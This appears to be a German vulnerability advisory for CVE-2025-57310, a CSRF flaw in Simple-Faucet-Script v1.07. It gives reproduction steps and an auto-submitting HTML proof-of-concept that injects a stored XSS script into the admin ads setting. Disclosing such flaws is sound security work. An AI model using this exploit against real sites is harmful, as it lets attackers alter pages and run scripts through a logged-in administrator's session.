CVE-2025-57310

Eine Cross-Site Request Forgery (CSRF)-Schwachstelle in Salmen2/Simple-Faucet-Script v1.07 über eine manipulierte POST-Anfrage an admin.php?p=ads&c=1, die es Angreifern ermöglicht, beliebigen Code auszuführen.

CWE

CWE-352: Cross-Site Request Forgery (CSRF)

CVSS v3.1 Basis-Score: 8.8 (Hoch)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Zusammenfassung

Das Produkt ist im Admin-Panel anfällig für Cross-Site Request Forgery (CSRF). Wenn ein authentifizierter Administrator eine bösartige Seite mit dem PoC besucht, führt der CSRF-Angriff zu einer unbefugten Änderung des Inhalts der Startseite.

Schritte zur Reproduktion

Melden Sie sich als Administrator unter https://example.com/admin.php an.
Öffnen Sie den folgenden PoC und beobachten Sie ein Alert-Popup auf der Startseite (Stored XSS).

<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="https://example.com/admin.php?p=ads&c=1" method="post">
        <input type="hidden" name="spacetop" value="<script>alert();</script>" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

CVE-2025-57310

Beliebteste

Auswirkungen

Danksagung